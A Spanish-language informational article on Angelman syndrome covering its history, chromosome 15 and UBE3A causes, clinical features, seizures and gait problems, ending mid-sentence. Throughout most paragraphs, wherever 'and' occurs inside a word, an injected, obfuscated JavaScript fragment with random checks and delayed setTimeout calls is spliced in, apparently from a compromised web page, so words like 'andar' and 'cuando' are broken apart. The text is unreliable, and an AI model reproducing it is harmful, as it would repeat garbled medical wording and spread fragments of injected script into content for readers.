SÍNDROME DE ANGELMAN, UNA FELICIDAD APARENTE

Autora: Cristina Gimón Murciano

          En 1965, el Dr. Harry Angelman, un médico inglés, describió por primera vez a tres niños con características, ahora conocidas, como el Síndrome de Angelman. Él notó que todos tenían rigidez, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andar espástico, ausencia de habla, risa excesiva y crisis convulsivas.

  • Definición 

          El síndrome de Angelman es una enfermedad frecuente, de origen genético que ocasiona distintos trastornos de la conducta, el desarrollo y el aprendizaje. Si bien aún no existe una cura, hay tratamientos que permiten controlar o al menos atenuar algunos de sus síntomas.

           “Muñecos felice”s fue el apodo que el médico inglés Harry Angelman adoptó en 1965 al describir a tres pacientes que compartían dos características: un andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andar rígido y una risa excesiva. Sucede que, de la variedad de sentimientos que experimentan, quienes padecen el síndrome, que luego tomaría el apellido de Angelman, la risa es el más frecuente.

           Si bien actualmente no existe una cura para el síndrome de Angelman, muchos de sus síntomas -como la epilepsia o la hiperactividad- pueden ser tratados con medicación o terapias psicomotrices, por ejemplo.

  • Causas del Síndrome de Angelman 

          El síndrome de Angelman es causado por la pérdida de una región del cromosoma 15, que principalmente es aportado de forma materna.

          Otra de las causas incluye la disomía uniparental, la translocación o la mutación puntual de un gen de esa región. Una persona sana recibe dos copias del cromosoma 15 (uno de aportación materna y el otro por vía paterna); sin embargo, la contribución materno-paterna es diferente ya que existen ciertos genes que se expresan de forma muy diferente dependiendo del sexo. Si la contribución materna se pierde o muta, el resultado es el síndrome de Angelman. Si por el contrario la pérdida o mutación ocurren en la contribución paterna el resultado se conoce como síndrome de Prader-Willi (deleción en genes que están activados y que son de origen paterno se sabe que causan otro desorden de retraso mental).

          También puede ser el resultado de una mutación puntual de un único gen. Este gen se conoce por el nombre de Ube3a, que es parte de la ruta de la ubiquitina. El gen está presente tanto en los cromosomas 15 de la madre como del padre, pero difieren en el patrón de metilación (impronta).

          La gran mayoría de los casos se producen por una deleción de aproximadamente 4 Mb de la región materna 15q11-13, causandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la ausencia de expresión de Ube3a en las regiones cerebrales especificadas anteriormente. Ube3a codifica para la proteína E6-AP ligasa de ubiquitina. La ausencia de esta proteína va a propiciar que se acumulen proteínas no degradadas. Esta enzima es muy selectiva y se han determinado cuatro sustratos dandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando un mecanismo molecular por el cual se llega al estado asociado al síndrome de Angelman.

 

  • Rasgos clínicos

Consistente (100%)
-Retraso en el desarrollo, funcionalmente severo.

-Capacidad de habla, ninguna o uso mínimo de palabras; las habilidades de comunicación receptivas y no-verbales mayores que las verbales.

-Problemas de movimiento y de equilibrio, normalmente ataxia al andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andar y/o movimiento trémulo de miembros.

-Conducta característica y singular: cualquier combinación de Risa/sonrisa frecuente; apariencia de felicidad; personalidad fácilmente excitable, a menudo movimientos de aleteo de manos; Hipermotricidad; permanencia de la atención durante poco tiempo.

 

Frecuente (más del 80%)   
-Retraso, crecimiento inferior al normal del perímetro cefálico, normalmente produciendo microcefalia (absoluta o relativa) alrededor de los 2 años de edad.

-Crisis convulsivas normalmente antes de los 3 años de edad.

-Electroencefalograma (CEE) anormal, modelo característico con ondas de gran amplitud y picos lentos.


  

Asociado (20 – 80%)

          Estrabismo, hipopigmentación de piel y ojos, lengua prominente; problemas para succionar y tragar, hiperactividad de movimientos reflejos en tendones, problemas con la alimentación durante la infancia, brazos levantados y flexionados al caminar, mandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andíbula prominente, hipersensibilidad al calor, boca grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande, dientes espaciados, problemas para dormir, babeo frecuente, lengua fuera, fascinación por el agua, conductas excesivas en mascar y masticar, aplastamiento posterior de la cabeza.

 

  •    Problemas Médicos y de Desarrollo

Convulsiones

          Más del 90% han reportado que tienen convulsiones pero esta puede ser una sobrestimación porque los informes médicos tienden a estudiar los casos más severos. Menos del 25% padecen convulsiones antes de los 12 meses de edad. La mayoría tiene convulsiones antes de los 3 años; la incidencia en niños mayores o en adolescentes no es excepcional. Las convulsiones pueden ser de cualquier tipo (de tipo motórico afectandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando a todo el cuerpo con sacudidas de las extremidades; ausencias que conllevan periodos breves de falta de consciencia), y puede requerir medicaciones múltiples anticonvulsivas. Las convulsiones pueden ser difíciles de reconocer o diferenciar de temblores normales del niño, movimientos hiperquinéticos de extremidades o faltas de atención. El EEG (Electroencefalograma) típico es a menudo más anormal de lo esperado y puede hacer pensar en actividad convulsiva cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando, de hecho, no la hay.

           No hay ningún consenso acerca de la medicación anticonvulsiva óptima, pero hay modelos de uso que son más frecuentes. Las medicaciones anticonvulsivas de uso en las crisis motóricas de carácter menor (ácido valproico, clonazepam, etc.) son prescritas más normalmente que las que se utilizan para ataques mayores (diphenylbydantoin, phenobarbital, etc.). Es preferible el uso de medicación única, pero es común que las crisis continúen. Se han puesto algunos niños con convulsiones incontrolables en dieta ketogenética, pero no está claro si esto es beneficioso. Niños con AS tienen el riesgo de ser sobretratados con medicación porque pueden confundirse sus movimientos espásticos o faltas de atención con convulsiones y pueden dar EEG anormales incluso cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando las crisis convulsivas están controladas.


 

Forma de andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andar y problemas de movimientos

           Movimientos Hiperquinéticos del tronco y miembros han sido reportados en los primeros años y movimientos nerviosos o temblores pueden estar presentes en los primeros 6 meses de vida. Los movimientos voluntarios son a menudo irregulares, variandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando de sacudidas ligeras a movimientos toscos no coordinados que se producen caminandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando, comiendo, y alcanzandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando objetos. La consecución de las etapas normales de motricidad gruesa están retrasadas; normalmente se sientan después de los 12 meses y no andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andan hasta los 3 o 4 años.

           En la infancia, el niño ligeramente dañado puede andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andar de forma casi normal. Puede tener andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andares solo apacibles o andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}